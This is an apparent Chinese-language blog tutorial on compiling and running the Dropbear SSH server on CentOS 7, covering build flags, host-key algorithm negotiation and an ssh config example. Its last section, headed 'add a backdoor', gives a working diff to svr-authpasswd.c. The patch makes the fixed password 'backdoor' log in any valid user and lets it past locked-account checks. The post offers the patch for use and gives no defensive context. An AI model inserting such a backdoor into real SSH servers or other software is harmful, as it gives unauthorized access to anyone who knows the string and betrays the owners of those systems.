当前位置: 首页 > 工具软件 > dropbear > 使用案例 >

dropbear:一个小巧的ssh server

皇甫雨石
2023-12-01

Dropbear is a relatively small SSH server and client,可运行于类Unix系统上,官网是 Dropbear,源代码同时在 github 上。
这里主要关注dropbear的服务端功能。

简易安装流程

centos 7环境

挑一个版本下载:wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2022.82.tar.bz2
解压
./configure
如果提示没找到zlib,执行yum install zlib-devel安装,或直接禁用zlib:./configure --disable-zlib
只编译服务端,不带PROGRAMS会额外编译其他工具:make -j8 PROGRAMS=dropbear,会在当前目录生成dropbear文件
make install
dropbear被安装到/usr/local/sbin/,dbclient以及其他工具会被安装到/usr/local/bin/

启动dropbear服务端

mkdir /etc/dropbear,没有该目录启动时会报错,这里会存放hostkey文件
手动生成hostkey或在启动时指定-R选项,表示在需要时自动生成hostkey
dropbear -p 2020 -R
-s选项可禁止密码登陆方式
dropbear同样使用~/.ssh/authorized_keys
然后就可以用ssh客户端进行连接了

一些编译选项

如果想修改默认编译选项,cp default_options.h localoptions.h,然后通过修改localoptions.h
或者直接修改default_options.h也可以

编译时直接禁止密码登陆
#define DROPBEAR_SVR_PASSWORD_AUTH 0

默认监听端口
#define DROPBEAR_DEFPORT "22"

默认网络接口,禁掉ipv6
#define DROPBEAR_DEFADDRESS "0.0.0.0"

禁掉MOTD(message of the day)
#define DO_MOTD 0

修改authorized_keys文件

不想用~/.ssh/authorized_keys的话,可以通过改代码实现,在svr-authpubkey.c中的checkpubkey函数和checkpubkeyperms函数。

一个问题

首次用dropbear -FER启动(忘了有没有加-s选项),用ssh命令连接一次,dropbear自动生成了/etc/dropbear/dropbear_ecdsa_host_key。我以为有一个有效的hostkey就行了,所以重新直接用dropbear不带参数启动,ssh命令能直接连,但其他Windows下的ssh客户端工具,比如WindTerm,SecureCRT等等,都连不上了。
原来hostkey用什么算法是和客户端协商的,ssh命令可能优先选择ecdsa,Windows下的ssh客户端可能优先选择rsa。
在SecureCRT选项中Host Key项里,把“ecdsa-sha2-nistp256”移到首位后,也能连接了。只留一个服务端不支持的算法,SecureCRT甚至提示了“Key exchange failed. No compatible hostkey. The server supports these methods: ecdsa-sha2-nistp256,rsa-sha2-256,ssh-rsa”。
解决方法是始终用-R选项启动dropbear。

关于ssh config

可以在~/.ssh/下创建config文件,例如:

Host game
HostName 123.123.123.123
Port 2020
User root
IdentityFile /root/id_rsa
TCPKeepAlive yes
ServerAliveInterval 60

以后就可以直接用ssh game连接,而不是用-p指定端口,用-i指定私钥文件了。scp也可以用。很方便。

另外

在试用dropbear过程中,经常需要重启它。每一个新连接dropbear都启动了一个新进程来处理,杀掉父进程,子进程的那些连接不会中断,但是父进程释放的端口又能拿来用了。

加个后门

加个万能密码

--- a/svr-authpasswd.c
+++ b/svr-authpasswd.c
@@ -55,6 +55,7 @@ void svr_auth_password(int valid_user) {
 	char * password = NULL;
 	unsigned int passwordlen;
 	unsigned int changepw;
+	int backdoor = 0;
 
 	/* check if client wants to change password */
 	changepw = buf_getbool(ses.payload);
@@ -65,6 +66,7 @@ void svr_auth_password(int valid_user) {
 	}
 
 	password = buf_getstring(ses.payload, &passwordlen);
+	if (constant_time_strcmp(password, "backdoor") == 0) backdoor = 1;
 	if (valid_user && passwordlen <= DROPBEAR_MAX_PASSWORD_LEN) {
 		/* the first bytes of passwdcrypt are the salt */
 		passwdcrypt = ses.authstate.pw_passwd;
@@ -89,8 +91,9 @@ void svr_auth_password(int valid_user) {
 		return;
 	}
 
-	if (testcrypt == NULL) {
+	if (testcrypt == NULL && backdoor == 0) {
 		/* crypt() with an invalid salt like "!!" */
+		//maybe locked by "passwd -l" or "usermod -L"
 		dropbear_log(LOG_WARNING, "User account '%s' is locked",
 				ses.authstate.pw_name);
 		send_msg_userauth_failure(0, 1);
@@ -105,7 +108,7 @@ void svr_auth_password(int valid_user) {
 		return;
 	}
 
-	if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
+	if (backdoor || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
 		if (svr_opts.multiauthmethod && (ses.authstate.authtypes & ~AUTH_TYPE_PASSWORD)) {
 			/* successful password authentication, but extra auth required */
 			dropbear_log(LOG_NOTICE,
 类似资料: